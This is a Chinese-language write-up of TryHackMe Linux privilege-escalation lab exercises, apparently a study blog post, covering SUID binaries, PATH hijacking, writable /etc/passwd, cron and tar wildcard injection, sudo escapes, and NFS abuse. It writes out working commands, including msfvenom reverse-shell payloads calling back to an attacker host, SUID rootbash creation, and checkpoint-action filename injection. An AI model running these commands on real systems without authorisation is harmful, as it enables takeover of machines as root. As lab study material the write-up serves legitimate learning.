Tryhackme学习liunx提权

LinEnum 是一个简单的 bash 脚本,它执行与权限提升相关的常见命令,从而节省时间并允许投入更多精力来获取 root 权限

一、滥用SUIID/GUID文件

查找和利用 SUID 文件

Linux 提权利用的第一步是检查设置了 SUID/GUID 位的文件。这意味着可以使用文件所有者/组的权限运行一个或多个文件。在这种情况下,作为超级用户。我们可以利用它来获得具有这些权限的 shell!

什么是 SUID 二进制文件?

在Linux 中,一切都是一个文件,包括具有允许或限制三种操作(即读/写/执行)权限的目录和设备。因此,当您为任何文件设置权限时,您应该了解您允许或限制所有三个权限的 Linux 用户。RWX=读写执行。每个用户可以设置权限的最大位数是7位,是读(4)写(2)和执行(1)操作的组合。例如,如果您使用"chmod" 755设置权限

但是当给每个用户特殊权限时,它就变成了 SUID 或 SGID

SUID:rws-rwx-rwx GUID:rwx-rws-rwx

查找 SUID 二进制文件

由于我们的 LinEnum 扫描,我们已经知道系统上有支持 SUID 的文件。但是,如果我们想手动执行此操作,我们可以使用以下命令:

find / -perm -u=s -type f 2>/dev/null

find / -type f -a ( -perm -u+s -o -perm -g+s ) -exec ls -l {} ; 2> /dev/null

SUID/SGID 可执行文件-已知的漏洞

例如查找到/usr/sbin/exim-4.84-3 然后既可以搜索他的历史漏洞运行exp进行提权

SUID/SGID 可执行文件-环境变量1

我们查看找到的程序

Tryhackme记录liunx提权_命令行

打印出来发现执行了service apache2 start

【首先去环境变量找service】那我们就可以利用环境变量来提权,我们准备一个service.c 内容如下 编译一下

Tryhackme记录liunx提权_linux_02

将当前目录(或新服务可执行文件所在的位置)添加到 PATH 变量中,然后运行 suid-env 可执行文件以获得 root shell:

PATH=.:$PATH /usr/local/bin/suid-env

SUID/SGID 可执行文件-环境变量2

Tryhackme记录liunx提权_命令行_03

如图他是通过服务可执行的路径来启动apache2服务的

然而在 Bash 版本 <4.2-048 中,可以使用类似于文件路径的名称定义 shell 函数,然后导出这些函数,以便使用它们而不是该文件路径上的任何实际可执行文件。

创建一个名为“ /usr/sbin/service ”的 Bash 函数,该函数执行一个新的 Bash shell(使用 -p 以便保留权限)并导出该函数:[导出函数相当于直接使用这个函数了]

function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service

运行suid-env2可执行文件以获得 root shell:

SUID/SGID 可执行文件-环境变量3

注意:这不适用于 Bash 4.4 及更高版本。

在调试模式下,Bash 使用环境变量PS4来显示调试语句的额外提示。

运行/usr/local/bin/suid-env2

环境同上

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

Tryhackme记录liunx提权_命令行_04

使用 -p 运行 /tmp/rootbash 可执行文件以获得以 root 权限运行的 shell:

/tmp/rootbash -p
二、利用可写的/etc/passwd

生成密码哈希

Tryhackme记录liunx提权_linux_05

利用新创建的用户和root账户组合

new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

三、利用Crontab

什么是Crontab

Cron 守护进程是一个长时间运行的进程,它在特定的日期和时间执行命令。您可以使用它来安排活动,作为一次性事件或重复性任务。您可以创建一个 crontab 文件,其中包含 Cron 守护程序要执行的命令和指令。

我们可以使用命令“cat /etc/crontab”来查看调度了哪些cron作业。只要有机会,您就应该始终手动检查这一点,尤其是在 LinEnum 或类似脚本未找到任何内容的情况下。

我们如何利用这一点?

文件权限

如果一个计划归root所有,意味他将以root权限运行,我们如果可以写入此文件,然后创建一个命令。该命令返回一个shell即可以root身份运行。

msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R

有效负载替换

echo [MSFVENOM OUTPUT] > autoscript.sh

PATH环境变量

查看系统范围crontab的内容:

cat /etc/crontab

Tryhackme记录liunx提权_环境变量_06

那我们就可以在/home/user创建一个名为overwrite.sh

#!/bin/bash 

cp /bin/bash /tmp/rootbash 
chmod +xs /tmp/rootbash

确保文件可以执行

chmod +x /home/user/overwrite.sh

等待 cron 作业运行(不应超过一分钟)。 使用 -p 运行 /tmp/rootbash 命令以获得以 root 权限运行的 shell:/tmp/rootbash -p

Tryhackme记录liunx提权_bash_07

通配符

我们查看其他的脚本

Tryhackme记录liunx提权_命令行_08

发现tar * 查看https://gtfobins.github.io/gtfobins/tar/

tar 具有命令行选项可让您将其他命令作为检查点功能的一部分运行。

在 Kali 机器上使用 msfvenom 生成反向 shell ELF 二进制文件。相应地更新 LHOST IP 地址:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=port -f elf -o shell.elf

将shell穿到/home/user下确保文件是可执行的:

chmod +x /home/user/shell.elf

在/home/user下创建这两个文件夹

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf

当 cron 作业中的 tar 命令运行时,通配符 (*) 将扩展以包含这些文件。由于它们的文件名是有效的 tar 命令行选项,tar 将识别它们并将它们视为命令行选项而不是文件名。

在你的机器开启监听即可获取shell

四、利用PATH变量

创建一个脚本

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
int main()
{
	setuid(geteuid());
	system("ps");
	return 0;
}

并给他S权限

gcc 1.c -o shell 
chmod u+s shell  
ls -alh shell //查看权限

然后在其他用户上切换到/tmp[权限较大]

echo "/bin/bash" > ps
chmod +x ps

添加变量

export PATH=/tmp:$PATH

变量都是从左到右执行的,所有/tmp在前面了

回到shell文件所在目录直接执行就可以提权成root权限了

漏洞完成之后你可以退出root使用。将 PATH 变量重置为默认值

export PATH=删除/tmp:$PATH 之后的内容
五、SHELL转义序列

列出sudo允许你的用户运行的程序

sudo -l

访问 GTFOBins ( https://gtfobins.github.io ) 并搜索一些程序名称。如果程序以“sudo”作为函数列出,您可以使用它来提升权限,通常是通过转义序列。

Tryhackme记录liunx提权_bash_09

六、密码和秘钥

历史文件

如果用户不小心在命令行而不是在密码提示中输入了他们的密码,它可能会被记录在历史文件中。

查看用户主目录中所有隐藏历史文件的内容:

cat ~/.*history

请注意,用户在某个时候尝试使用“root”用户名和通过命令行提交的密码连接到 MySQL 服务器。注意 -p 选项和密码之间没有空格!

配置文件

查看一些配置文件,可能发现一些有用的

SSH密钥

有时用户会备份重要文件,但无法使用正确的权限保护它们。

在系统根目录中查找隐藏文件和目录:

ls -la /

可能会发现.ssh。查看目录内容:

ls -l /.ssh
七、NFS

通过 NFS 创建的文件继承远程

检查 Debian VM 上的 NFS 共享配置:

cat /etc/exports

Tryhackme记录liunx提权_环境变量_10

在我们的kali下,以root方式运行

sudo su

使用 Kali 的 root 用户,在 Kali 机器上创建一个挂载点并挂载/tmp

mkdir /tmp/nfs
mount -o rw,vers=2 IP:/tmp /tmp/nfs

仍然使用 Kali 的 root 用户,使用msfvenom生成负载

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

使用 Kali 的 root 用户,使文件可执行并设置 SUID 权限:

chmod +xs /tmp/nfs/shell.elf

以低权限用户帐户执行该文件以获得 root shell:

Tryhackme记录liunx提权_命令行_11

未完,后续补充........